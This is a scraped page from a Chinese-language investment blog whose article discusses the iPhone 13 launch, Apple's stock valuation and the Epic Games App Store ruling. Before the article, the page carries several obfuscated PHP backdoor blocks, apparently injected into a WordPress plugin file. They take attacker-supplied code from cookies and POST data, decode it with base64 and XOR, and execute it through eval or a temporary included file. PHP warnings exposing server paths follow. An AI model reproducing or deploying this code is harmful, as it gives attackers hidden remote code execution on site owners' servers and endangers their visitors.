$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
果粉钱包又要大出血了啦！ - Sharix

果粉钱包又要大出血了啦！

今天笔者带大家飞到美国吃苹果。昨天是苹果的发布会，所以今天笔者也趁这个机会和大家讨论这全球市值最大的品牌。·身为苹果粉的笔者看到最新公布的iPhone 13手机的价格才发现，贵并不是苹果的问题，而是笔者的问题。今天要分享的主题除了苹果的发布会，也和大家谈谈近期苹果和Epic Games的官司，到底这两件事情如何影响苹果公司的股价。

苹果在当地时间9月14日，也就是今天凌晨举办了秋季新品发布会，许多新产品包括iPhone 13系列、Apple Watch Series 7、AirPods 3、iPad mini等都面世。这次发布会的绝对主角，iPhone 13系列共有四款机型，包括iPhone 13 mini、iPhone 13、iPhone 13 Pro以及iPhone 13 Pro Max等。

今年初至今，虽然苹果的股价经历不少挫折，但已经从三月底部的US$116.21涨了接近35% 至最高的US$157.26，市值也上涨了近US$680 billion。而每年的苹果发布会都会迎来全球市场的关注，这不仅是因为它的产品足够惊艳，也是因为苹果代表的不只是公司本身，也代表旗下的所有产业链。根据摩根士丹利分析师的统计，在发布新一代iPhone手机之前，苹果的股价基本都呈现涨势。

然而，每次发布会当天，股价基本下跌。自2007年1月首款iPhone问世以来，苹果股价在iPhone发布日当天超过80% 都是呈下跌的趋势，而事实就是苹果股价在昨晚也跌了0.96%。其实这不难理解，因为当新产品发布过后就会迎来市场批评各方面的问题，比如说价格太贵、屏幕问题、外观设计、性能不及预期等等，而这样的抱怨在每年都会出现。

但从历史的表现来看，苹果公司在发布新款iPhone后的几个月股价表现都很出色。其中在2007年、2010年、2011年、2012年及2016年发布会后一个月，苹果的股价涨势都非常凶猛。而之后的手机销售数据往往都是超出分析师的预期。

当中最主要的原因，就是iPhone本身的影响力已经超越了产品本身。它代表的是这个时代最完美的产品美学和创新能力。就如消费者选择购买星巴克咖啡，为的并不是咖啡有多好喝，而是星巴克本身带给消费者对于生活的体验和满足。经过多年的创新、设计和营销，消费者对于苹果产品强大的忠诚度成为苹果绝对的竞争优势，形成苹果公司最重要的经济护城河。

而苹果所创造的用户粘性和品牌效应是保护苹果的销量和利润最重要武器。大家会发现，苹果本身已经有非常完整的生态圈。去年由于受到疫情冲击，苹果被迫关闭几百家零售店导致iPhone和Apple Watch的销售受到影响。但也因为疫情的因素，人们需要在家办公以及学习产生对电子设备的需求，iPad和Mac电脑的销售也因此呈现了迅速的成长。

在产品服务方面，线下商场的关闭也对苹果的Apple Care产品业务造成了影响，广告业务增长速度逐渐放缓。但在疫情管控期间，娱乐场所关闭导致Apple Music和Apple TV+ 等娱乐业务同样得到了大量用户们的喜爱，而这也是苹果必须努力去耕耘的业务。要知道这些产品对于苹果而言都属于非常稳定的订阅收入，毛利也是在众多产品线当中最高的。

目前，苹果的远期本益比为27倍左右，这样的估值对于全球最赚钱的公司来说，笔者认为是绝对合理。公司过去十年的盈利平均以每年12.8% 在成长，而自由现金流也从2011年的US$33.2 billion成长至2021年的US$94.8 billion。虽然苹果在长期免不了要面对政府的监管及芯片产能不稳定的风险，但作为股神巴菲特最重仓的持股，苹果通过加大对供应链体系的投入、自主研发芯片、以及打造多元产品以及产品服务等方法，逐渐提高了自身的抗风险能力。

就在9月10日上个星期五，美国加州法院对苹果公司与游戏开发商Epic Games公司的诉讼案作出裁决，法官要求苹果的App Store必须开放第三方支付系统。裁决中写道，苹果向消费者隐瞒关键咨询，非法扼杀了消费者的选择，有必要在全国范围内采取补救措施，消除这些条款。法令将于12月生效。这也意味着，30% 的苹果税——App Store营收的护城河已经被阻断。

根据分析师的预算，苹果每年恐损失高达US$4 billion。就在判决发布当天，苹果股价在盘中大幅跳水，收盘下跌了3.31%，市值也蒸发了约US$84.3 billion。如果用27倍的远期本益比做计算，苹果将会损失总共US$108 billion，可以说苹果的股价在当天充分的反映了这个利空。

其实在判决前，苹果视乎早已预料到了结果，先一步与美国开发者和解，允许美国开发者在iOS应用上宣传其他支付渠道。苹果的主动在当下反垄断的浪潮可谓是明智之举。笔者认为，即使开发者给出了网页支付或其他in-app purchase (IAP) 之外的付款方式，绝大多数消费者也依旧会选择IAP，而事实上华尔街的分析师也给出相同的看法。就像笔者所说的，绝大多数用户仍会留在苹果所创造的应用生态圈内，而这也是苹果自身的绝对竞争优势。

最新文章

关于
首页 关于我们 联系我们 加入我们 免责声明
服务与课程
订阅服务 股道实战班 水到趋成 财报班 新手班
分享内容
Hosay 财经 Hosay 陪你聊 每月月刊
订阅 Sharix Newsletter
第一时间获的 Sharix 课程, 活动及其他的通知
Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台